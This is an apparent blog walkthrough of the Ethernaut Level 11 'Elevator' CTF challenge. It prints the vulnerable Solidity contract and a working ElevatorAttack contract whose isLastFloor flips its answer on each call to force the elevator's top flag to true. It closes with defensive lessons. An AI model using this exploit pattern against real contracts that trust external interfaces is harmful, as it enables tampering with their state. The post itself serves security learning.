Summer 20% off--:--:--
Book a call

Summer 20% off

--:--:--
Book a call
All articles
Ethernaut Walkthrough

Ethernaut Level 11 Walkthrough: Elevator

Janos Barna June 10, 2024 3 min read
Ethernaut Level 11 Walkthrough: Elevator

Ethernaut challenges, comparable to a Web3-themed hacking Capture The Flag (CTF) competition, offer a dynamic environment for diving into Ethereum and Solidity programming. Each level introduces a distinct smart contract puzzle, designed to test your abilities in pinpointing and exploiting flaws.

As a full-stack software engineer diving into blockchain technology, these challenges act as valuable learning experiences to grasp the intricacies of smart contract vulnerabilities. Every level deepens our understanding of blockchain security, thus improving our skills in building decentralized applications. In this blog post, we’ll explore Ethernaut Level 11, where we decode the complexities of Solidity smart contracts and learn how to circumvent security measures.

In this Ethernaut challenge we get the following simple contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

The Building interface defines a function isLastFloor that returns whether a given floor is the last one. The Elevator contract’s goTo function calls isLastFloor on an external Building contract to check if a floor is the last floor. If the floor is not the last, it updates the elevator’s current floor and checks again to update its top floor status.

We get the following help, to beat this level:

“This elevator won’t let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.”

The goTo function in the Elevator contract relies on the external Building contract’s isLastFloor function to determine whether the specified floor is the top floor. If the Building contract is implemented in a way that always returns false for isLastFloor, the Elevator contract will never recognize any floor as the top floor (top will never be set to true), effectively preventing the elevator from reaching what it believes to be the top of the building.

How to Exploit

By alternating the return value of isLastFloor, another contract can trick the Elevator contract into believing it has reached the top floor when it sets the floor to the desired value. This can bypass the intended logic of the Elevator contract, which relies on an honest isLastFloor implementation to function correctly.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Elevator.sol';

contract ElevatorAttack {
    bool public pwn = true;
    Elevator public target;

    constructor (address _targetAddress)  {
        target = Elevator(_targetAddress);
    }

    function isLastFloor(uint)public returns (bool){
        pwn = !pwn;
        return pwn;
    }
    function setTop(uint _floor) public {
        target.goTo(_floor);
    }
}
  • When setTop is called, it invokes the goTo function of the Elevator contract with _floor as an argument.
  • The Elevator contract then calls isLastFloor(_floor) on the msg.sender, which is the ElevatorAttack contract.
  • On the first call to isLastFloorpwn flips to false and returns false, making the Elevator contract set its floor to _floor.
  • The Elevator contract then calls isLastFloor again to update top.
  • On the second call, pwn flips to true and returns true, making the Elevator contract set top to true.

Conclusion

Interfaces do not guarantee contract security: Just because another contract uses the same interface doesn’t mean it will behave as expected.

Be cautious with contract inheritance: Inheriting contracts that extend from interfaces can introduce security risks due to information obscurity, making each layer potentially less secure.

Check your compiler version: Be aware of the compiler version you’re using or inheriting from; view and pure functions might be compromised without your knowledge.

Additional reading:

https://ethereum.org/en/developers/docs/smart-contracts/composability

https://docs.soliditylang.org/en/develop/contracts.html#view-functions

faq

FAQs

How do I start solving Ethernaut challenges?

  • Visit Ethernaut and connect your Ethereum wallet.

How do I use Remix IDE for Ethernaut challenges?

  • Open Remix IDE, create a new file, paste the contract code, compile, deploy, and interact with it using MetaMask.

Where can I find Ethereum and Solidity documentation?

How do I deploy contracts on a test network?

  • Compile and deploy Elevator.sol and ElevatorAttack.sol using Remix IDE and MetaMask.

What are essential Solidity concepts for this challenge?

  • Interfaces, external calls, state variables, function modifiers.
Share
Janos Barna

Written by

Janos Barna

The Metana Editorial Team writes practical guides on coding, tech careers, and emerging technology.

Talk to an advisor

Book a call with a real human before the next cohort fills.

Speak with an advisor. We'll map the right program to your goals - and lock in your enrollment offer.

20% off enrollment offer

20% OFF - limited-time enrollment offer.

Applied automatically when you book a call before the timer hits zero.

--
Days
--
Hours
--
Minutes
--
Seconds
  • Guarantee: Job or 100% money back
  • Expert-curated curriculum
  • On-demand mentor support
Advisor Elena RodriguezAdvisor Sarah JenningsAdvisor David Chen
Real advisors · reply within 2 hours

Book your call

Free